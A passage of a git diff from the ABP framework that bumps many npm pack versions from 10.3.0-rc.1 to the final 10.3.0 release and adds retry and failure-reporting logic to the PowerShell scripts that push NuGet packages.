+ "@abp/core": "~10.3.0",
"clipboard": "^2.0.11"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/cms-kit.admin/package.json b/npm/packs/cms-kit.admin/package.json
index 4ff70b3627..7b93424a81 100644
--- a/npm/packs/cms-kit.admin/package.json
+++ b/npm/packs/cms-kit.admin/package.json
@@ -1,16 +1,16 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/cms-kit.admin",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/codemirror": "~10.3.0-rc.1",
- "@abp/jstree": "~10.3.0-rc.1",
- "@abp/markdown-it": "~10.3.0-rc.1",
- "@abp/slugify": "~10.3.0-rc.1",
- "@abp/tui-editor": "~10.3.0-rc.1",
- "@abp/uppy": "~10.3.0-rc.1"
+ "@abp/codemirror": "~10.3.0",
+ "@abp/jstree": "~10.3.0",
+ "@abp/markdown-it": "~10.3.0",
+ "@abp/slugify": "~10.3.0",
+ "@abp/tui-editor": "~10.3.0",
+ "@abp/uppy": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/cms-kit.public/package.json b/npm/packs/cms-kit.public/package.json
index f69bc0d91e..ffac8cbabb 100644
--- a/npm/packs/cms-kit.public/package.json
+++ b/npm/packs/cms-kit.public/package.json
@@ -1,12 +1,12 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/cms-kit.public",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/highlight.js": "~10.3.0-rc.1",
- "@abp/star-rating-svg": "~10.3.0-rc.1"
+ "@abp/highlight.js": "~10.3.0",
+ "@abp/star-rating-svg": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/cms-kit/package.json b/npm/packs/cms-kit/package.json
index e433885cba..924a56ca43 100644
--- a/npm/packs/cms-kit/package.json
+++ b/npm/packs/cms-kit/package.json
@@ -1,12 +1,12 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/cms-kit",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/cms-kit.admin": "~10.3.0-rc.1",
- "@abp/cms-kit.public": "~10.3.0-rc.1"
+ "@abp/cms-kit.admin": "~10.3.0",
+ "@abp/cms-kit.public": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/codemirror/package.json b/npm/packs/codemirror/package.json
index 59b2b1c78c..f2a45ceed7 100644
--- a/npm/packs/codemirror/package.json
+++ b/npm/packs/codemirror/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/codemirror",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"codemirror": "^5.65.1"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/core/package.json b/npm/packs/core/package.json
index dfcd5f955b..fea065d845 100644
--- a/npm/packs/core/package.json
+++ b/npm/packs/core/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/core",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/utils": "~10.3.0-rc.1"
+ "@abp/utils": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/cropperjs/package.json b/npm/packs/cropperjs/package.json
index c44a53a092..1a17b70c47 100644
--- a/npm/packs/cropperjs/package.json
+++ b/npm/packs/cropperjs/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/cropperjs",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"cropperjs": "^1.6.2"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/datatables.net-bs4/package.json b/npm/packs/datatables.net-bs4/package.json
index 834e3d60f5..3c03b88c83 100644
--- a/npm/packs/datatables.net-bs4/package.json
+++ b/npm/packs/datatables.net-bs4/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/datatables.net-bs4",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/datatables.net": "~10.3.0-rc.1",
+ "@abp/datatables.net": "~10.3.0",
"datatables.net-bs4": "^2.3.4"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/datatables.net-bs5/package.json b/npm/packs/datatables.net-bs5/package.json
index 5d3eca3807..8bdc9d9c9b 100644
--- a/npm/packs/datatables.net-bs5/package.json
+++ b/npm/packs/datatables.net-bs5/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/datatables.net-bs5",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/datatables.net": "~10.3.0-rc.1",
+ "@abp/datatables.net": "~10.3.0",
"datatables.net-bs5": "^2.3.4"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/datatables.net/package.json b/npm/packs/datatables.net/package.json
index 808038ee69..89db065c7a 100644
--- a/npm/packs/datatables.net/package.json
+++ b/npm/packs/datatables.net/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/datatables.net",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/jquery": "~10.3.0-rc.1",
+ "@abp/jquery": "~10.3.0",
"datatables.net": "^2.3.4"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/docs/package.json b/npm/packs/docs/package.json
index e7f8bb5de8..57ddb5e5d3 100644
--- a/npm/packs/docs/package.json
+++ b/npm/packs/docs/package.json
@@ -1,15 +1,15 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/docs",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/anchor-js": "~10.3.0-rc.1",
- "@abp/clipboard": "~10.3.0-rc.1",
- "@abp/malihu-custom-scrollbar-plugin": "~10.3.0-rc.1",
- "@abp/popper.js": "~10.3.0-rc.1",
- "@abp/prismjs": "~10.3.0-rc.1"
+ "@abp/anchor-js": "~10.3.0",
+ "@abp/clipboard": "~10.3.0",
+ "@abp/malihu-custom-scrollbar-plugin": "~10.3.0",
+ "@abp/popper.js": "~10.3.0",
+ "@abp/prismjs": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/flag-icon-css/package.json b/npm/packs/flag-icon-css/package.json
index 3db2715442..1cc7ffda03 100644
--- a/npm/packs/flag-icon-css/package.json
+++ b/npm/packs/flag-icon-css/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/flag-icon-css",
"publishConfig": {
"access": "public"
diff --git a/npm/packs/flag-icons/package.json b/npm/packs/flag-icons/package.json
index 04b2971b12..58b7c08e5e 100644
--- a/npm/packs/flag-icons/package.json
+++ b/npm/packs/flag-icons/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/flag-icons",
"publishConfig": {
"access": "public"
diff --git a/npm/packs/font-awesome/package.json b/npm/packs/font-awesome/package.json
index f9f159317e..874a8a9690 100644
--- a/npm/packs/font-awesome/package.json
+++ b/npm/packs/font-awesome/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/font-awesome",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"@fortawesome/fontawesome-free": "^7.0.1"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/highlight.js/package.json b/npm/packs/highlight.js/package.json
index 1f0440ba32..b222cf245a 100644
--- a/npm/packs/highlight.js/package.json
+++ b/npm/packs/highlight.js/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/highlight.js",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"@highlightjs/cdn-assets": "~11.11.1"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/jquery-form/package.json b/npm/packs/jquery-form/package.json
index f52e9603bf..f11735b972 100644
--- a/npm/packs/jquery-form/package.json
+++ b/npm/packs/jquery-form/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/jquery-form",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/jquery": "~10.3.0-rc.1",
+ "@abp/jquery": "~10.3.0",
"jquery-form": "^4.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/jquery-validation-unobtrusive/package.json b/npm/packs/jquery-validation-unobtrusive/package.json
index a62df3cf14..828ff6fc74 100644
--- a/npm/packs/jquery-validation-unobtrusive/package.json
+++ b/npm/packs/jquery-validation-unobtrusive/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/jquery-validation-unobtrusive",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/jquery-validation": "~10.3.0-rc.1",
+ "@abp/jquery-validation": "~10.3.0",
"jquery-validation-unobtrusive": "^4.0.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/jquery-validation/package.json b/npm/packs/jquery-validation/package.json
index 9b3b0a639c..baab14ce2d 100644
--- a/npm/packs/jquery-validation/package.json
+++ b/npm/packs/jquery-validation/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/jquery-validation",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/jquery": "~10.3.0-rc.1",
+ "@abp/jquery": "~10.3.0",
"jquery-validation": "^1.21.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/jquery/package.json b/npm/packs/jquery/package.json
index 4c6cab6eeb..70029c5204 100644
--- a/npm/packs/jquery/package.json
+++ b/npm/packs/jquery/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/jquery",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"jquery": "~3.7.1"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/jstree/package.json b/npm/packs/jstree/package.json
index 1f99e0b5b3..fb96448696 100644
--- a/npm/packs/jstree/package.json
+++ b/npm/packs/jstree/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/jstree",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/jquery": "~10.3.0-rc.1",
+ "@abp/jquery": "~10.3.0",
"jstree": "^3.3.17"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/lodash/package.json b/npm/packs/lodash/package.json
index dd730d93a6..28e76c2779 100644
--- a/npm/packs/lodash/package.json
+++ b/npm/packs/lodash/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/lodash",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"lodash": "^4.17.21"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/luxon/package.json b/npm/packs/luxon/package.json
index 23a1e584b4..f2396a199b 100644
--- a/npm/packs/luxon/package.json
+++ b/npm/packs/luxon/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/luxon",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"luxon": "^3.7.2"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/malihu-custom-scrollbar-plugin/package.json b/npm/packs/malihu-custom-scrollbar-plugin/package.json
index a93c5c9e1b..c16ca450dc 100644
--- a/npm/packs/malihu-custom-scrollbar-plugin/package.json
+++ b/npm/packs/malihu-custom-scrollbar-plugin/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/malihu-custom-scrollbar-plugin",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"malihu-custom-scrollbar-plugin": "^3.1.5"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/markdown-it/package.json b/npm/packs/markdown-it/package.json
index df47813db1..8580958a8e 100644
--- a/npm/packs/markdown-it/package.json
+++ b/npm/packs/markdown-it/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/markdown-it",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"markdown-it": "^14.1.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/moment/package.json b/npm/packs/moment/package.json
index 97b3eb0e55..a13aa8692f 100644
--- a/npm/packs/moment/package.json
+++ b/npm/packs/moment/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/moment",
"repository": {
"type": "git",
diff --git a/npm/packs/owl.carousel/package.json b/npm/packs/owl.carousel/package.json
index 9deee9a0e0..1e6ff74800 100644
--- a/npm/packs/owl.carousel/package.json
+++ b/npm/packs/owl.carousel/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/owl.carousel",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"owl.carousel": "^2.3.4"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/popper.js/package.json b/npm/packs/popper.js/package.json
index d87eb3223b..d350114bcb 100644
--- a/npm/packs/popper.js/package.json
+++ b/npm/packs/popper.js/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/popper.js",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"@popperjs/core": "^2.11.8"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/prismjs/package.json b/npm/packs/prismjs/package.json
index 69beb0c31a..2b7e0336d5 100644
--- a/npm/packs/prismjs/package.json
+++ b/npm/packs/prismjs/package.json
@@ -1,12 +1,12 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/prismjs",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/clipboard": "~10.3.0-rc.1",
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/clipboard": "~10.3.0",
+ "@abp/core": "~10.3.0",
"prismjs": "^1.30.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/qrcode/package.json b/npm/packs/qrcode/package.json
index 3ae180e3f9..7741bb0025 100644
--- a/npm/packs/qrcode/package.json
+++ b/npm/packs/qrcode/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/qrcode",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1"
+ "@abp/core": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/select2/package.json b/npm/packs/select2/package.json
index 2f033b35b3..dae26c3e0f 100644
--- a/npm/packs/select2/package.json
+++ b/npm/packs/select2/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/select2",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"select2": "^4.0.13"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/signalr/package.json b/npm/packs/signalr/package.json
index 964ba744aa..dea95a3d9e 100644
--- a/npm/packs/signalr/package.json
+++ b/npm/packs/signalr/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/signalr",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"@microsoft/signalr": "~9.0.6"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/slugify/package.json b/npm/packs/slugify/package.json
index 6bf90f2b41..6877ce5ee9 100644
--- a/npm/packs/slugify/package.json
+++ b/npm/packs/slugify/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/slugify",
"publishConfig": {
"access": "public"
diff --git a/npm/packs/star-rating-svg/package.json b/npm/packs/star-rating-svg/package.json
index e65cc602c0..68545837af 100644
--- a/npm/packs/star-rating-svg/package.json
+++ b/npm/packs/star-rating-svg/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/star-rating-svg",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/jquery": "~10.3.0-rc.1",
+ "@abp/jquery": "~10.3.0",
"star-rating-svg": "^3.5.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/sweetalert2/package.json b/npm/packs/sweetalert2/package.json
index 2a9da619dd..21ad47efc4 100644
--- a/npm/packs/sweetalert2/package.json
+++ b/npm/packs/sweetalert2/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/sweetalert2",
"publishConfig": {
"access": "public"
@@ -10,7 +10,7 @@
"directory": "npm/packs/sweetalert2"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"sweetalert2": "^11.23.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/timeago/package.json b/npm/packs/timeago/package.json
index b4384856bc..b18f80cf35 100644
--- a/npm/packs/timeago/package.json
+++ b/npm/packs/timeago/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/timeago",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/jquery": "~10.3.0-rc.1",
+ "@abp/jquery": "~10.3.0",
"timeago": "^1.6.7"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/toastr/package.json b/npm/packs/toastr/package.json
index 724934da3b..f93637fbad 100644
--- a/npm/packs/toastr/package.json
+++ b/npm/packs/toastr/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/toastr",
"repository": {
"type": "git",
@@ -10,7 +10,7 @@
"access": "public"
},
"dependencies": {
- "@abp/jquery": "~10.3.0-rc.1",
+ "@abp/jquery": "~10.3.0",
"toastr": "^2.1.4"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/tui-editor/package.json b/npm/packs/tui-editor/package.json
index 69426a151c..dbf1930750 100644
--- a/npm/packs/tui-editor/package.json
+++ b/npm/packs/tui-editor/package.json
@@ -1,12 +1,12 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/tui-editor",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/jquery": "~10.3.0-rc.1",
- "@abp/prismjs": "~10.3.0-rc.1"
+ "@abp/jquery": "~10.3.0",
+ "@abp/prismjs": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/uppy/package.json b/npm/packs/uppy/package.json
index d6db949c54..eb662d8db1 100644
--- a/npm/packs/uppy/package.json
+++ b/npm/packs/uppy/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/uppy",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"uppy": "^5.1.2"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/utils/package.json b/npm/packs/utils/package.json
index aecc770d92..179b467ed6 100644
--- a/npm/packs/utils/package.json
+++ b/npm/packs/utils/package.json
@@ -1,6 +1,6 @@
{
"name": "@abp/utils",
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"scripts": {
"prepublishOnly": "yarn install --ignore-scripts && node prepublish.js",
"ng": "ng",
diff --git a/npm/packs/vee-validate/package.json b/npm/packs/vee-validate/package.json
index 0f39f1fff2..45a83f459c 100644
--- a/npm/packs/vee-validate/package.json
+++ b/npm/packs/vee-validate/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/vee-validate",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/vue": "~10.3.0-rc.1",
+ "@abp/vue": "~10.3.0",
"vee-validate": "~3.4.4"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/npm/packs/virtual-file-explorer/package.json b/npm/packs/virtual-file-explorer/package.json
index 2d0314a267..a92656f640 100644
--- a/npm/packs/virtual-file-explorer/package.json
+++ b/npm/packs/virtual-file-explorer/package.json
@@ -1,12 +1,12 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/virtual-file-explorer",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/clipboard": "~10.3.0-rc.1",
- "@abp/prismjs": "~10.3.0-rc.1"
+ "@abp/clipboard": "~10.3.0",
+ "@abp/prismjs": "~10.3.0"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
"homepage": "https://abp.io",
diff --git a/npm/packs/vue/package.json b/npm/packs/vue/package.json
index 1b8bcdd0df..9757819baf 100644
--- a/npm/packs/vue/package.json
+++ b/npm/packs/vue/package.json
@@ -1,5 +1,5 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/vue",
"publishConfig": {
"access": "public"
diff --git a/npm/packs/zxcvbn/package.json b/npm/packs/zxcvbn/package.json
index a1ccdd3d06..760e2fb878 100644
--- a/npm/packs/zxcvbn/package.json
+++ b/npm/packs/zxcvbn/package.json
@@ -1,11 +1,11 @@
{
- "version": "10.3.0-rc.1",
+ "version": "10.3.0",
"name": "@abp/zxcvbn",
"publishConfig": {
"access": "public"
},
"dependencies": {
- "@abp/core": "~10.3.0-rc.1",
+ "@abp/core": "~10.3.0",
"zxcvbn": "^4.4.2"
},
"gitHead": "bb4ea17d5996f01889134c138d00b6c8f858a431",
diff --git a/nupkg/push-nightly-packages-myget.ps1 b/nupkg/push-nightly-packages-myget.ps1
index ff3eb93774..76febf2e94 100644
--- a/nupkg/push-nightly-packages-myget.ps1
+++ b/nupkg/push-nightly-packages-myget.ps1
@@ -13,4 +13,56 @@ if (!$apikey)
$apikey = "dummy"
}
-dotnet nuget push '*.nupkg' -s $source --skip-duplicate --api-key $apikey
\ No newline at end of file
+$maxRetryCount = 3
+$retryDelaysInSeconds = @(30, 60, 120)
+$failedPackages = @()
+$failedPackagesFilePath = Join-Path (Get-Location) "failed-packages.txt"
+if (Test-Path $failedPackagesFilePath) { Remove-Item $failedPackagesFilePath -Force }
+
+$packages = Get-ChildItem -Filter *.nupkg | Sort-Object Name
+
+foreach ($package in $packages)
+{
+ $packageName = $package.Name
+ Write-Host "Pushing nightly package: $packageName"
+
+ $attempt = 0
+ $pushSucceeded = $false
+ while ($true)
+ {
+ $attempt += 1
+ $pushOutput = dotnet nuget push $packageName -s $source --skip-duplicate --api-key $apikey 2>&1
+ $pushOutput | ForEach-Object { Write-Host $_ }
+
+ $pushSucceeded = $LASTEXITCODE -eq 0
+ if ($pushSucceeded)
+ {
+ break
+ }
+
+ $clientError = ($pushOutput | Out-String) -match "Response status code does not indicate success:\s*4\d\d"
+ $canRetry = $clientError -and $attempt -le $maxRetryCount
+ if (-not $canRetry)
+ {
+ break
+ }
+
+ $retryDelay = $retryDelaysInSeconds[$attempt - 1]
+ Write-Warning "NuGet push returned a 4xx response for $packageName. Retrying in $retryDelay seconds (retry $attempt/$maxRetryCount)..."
+ Start-Sleep -Seconds $retryDelay
+ }
+
+ if (-not $pushSucceeded)
+ {
+ Write-Host ("********** ERROR PUSH FAILED: " + $packageName) -ForegroundColor red
+ $failedPackages += $packageName
+ }
+}
+
+if ($failedPackages.Count -gt 0)
+{
+ $errorCount = $failedPackages.Count
+ Write-Host ("******* $errorCount error(s) occured *******") -ForegroundColor red
+ $failedPackages | Set-Content -Path $failedPackagesFilePath
+ exit 1
+}
\ No newline at end of file
diff --git a/nupkg/push_packages.ps1 b/nupkg/push_packages.ps1
index 6fa91a5599..5b37c22572 100644
--- a/nupkg/push_packages.ps1
+++ b/nupkg/push_packages.ps1
@@ -9,9 +9,14 @@ $version = $commonPropsXml.Project.PropertyGroup.Version
# Publish all packages
$i = 0
$errorCount = 0
+$failedPackages = @()
$totalProjectsCount = $projects.length
$nugetUrl = "https://api.nuget.org/v3/index.json"
+$maxQuotaRetryCount = 3
+$quotaRetryDelaysInSeconds = @(30, 60, 120)
+$failedPackagesFilePath = Join-Path $packFolder "failed-packages.txt"
Set-Location $packFolder
+if (Test-Path $failedPackagesFilePath) { Remove-Item $failedPackagesFilePath -Force }
foreach($project in $projects) {
$i += 1
@@ -24,7 +29,39 @@ foreach($project in $projects) {
if ($nugetPackageExists)
{
- dotnet nuget push $nugetPackageName --skip-duplicate -s $nugetUrl --api-key "$apiKey"
+ $attempt = 0
+ $pushSucceeded = $false
+ while ($true)
+ {
+ $attempt += 1
+ $pushOutput = dotnet nuget push $nugetPackageName --skip-duplicate -s $nugetUrl --api-key "$apiKey" 2>&1
+ $pushOutput | ForEach-Object { Write-Host $_ }
+
+ $pushSucceeded = $LASTEXITCODE -eq 0
+ if ($pushSucceeded)
+ {
+ break
+ }
+
+ $clientError = ($pushOutput | Out-String) -match "Response status code does not indicate success:\s*4\d\d"
+ $canRetry = $clientError -and $attempt -le $maxQuotaRetryCount
+
+ if (-not $canRetry)
+ {
+ break
+ }
+
+ $retryDelay = $quotaRetryDelaysInSeconds[$attempt - 1]
+ Write-Warning "NuGet push returned a 4xx response for $nugetPackageName. Retrying in $retryDelay seconds (retry $attempt/$maxQuotaRetryCount)..."
+ Start-Sleep -Seconds $retryDelay
+ }
+
+ if (-not $pushSucceeded)
+ {
+ Write-Host ("********** ERROR PUSH FAILED: " + $nugetPackageName) -ForegroundColor red
+ $errorCount += 1
+ $failedPackages += $nugetPackageName
+ }
#Write-Host ("Deleting package from local: " + $nugetPackageName)
#Remove-Item $nugetPackageName -Force
}
@@ -41,4 +78,6 @@ foreach($project in $projects) {
if ($errorCount > 0)
{
Write-Host ("******* $errorCount error(s) occured *******") -ForegroundColor red
+ $failedPackages | Set-Content -Path $failedPackagesFilePath
+ exit 1
}
diff --git a/source-code/Volo.Abp.Account.SourceCode/Volo.Abp.Account.SourceCode.zip b/source-code/Volo.Abp.Account.SourceCode/Volo.Abp.Account.SourceCode.zip
index 4143bfa89b..8ecc797a1c 100644
Binary files a/source-code/Volo.Abp.Account.SourceCode/Volo.Abp.Account.SourceCode.zip and b/source-code/Volo.Abp.Account.SourceCode/Volo.Abp.Account.SourceCode.zip differ
diff --git a/source-code/Volo.Abp.AuditLogging.SourceCode/Volo.Abp.AuditLogging.SourceCode.zip b/source-code/Volo.Abp.AuditLogging.SourceCode/Volo.Abp.AuditLogging.SourceCode.zip
index d134895d4c..167741ae54 100644
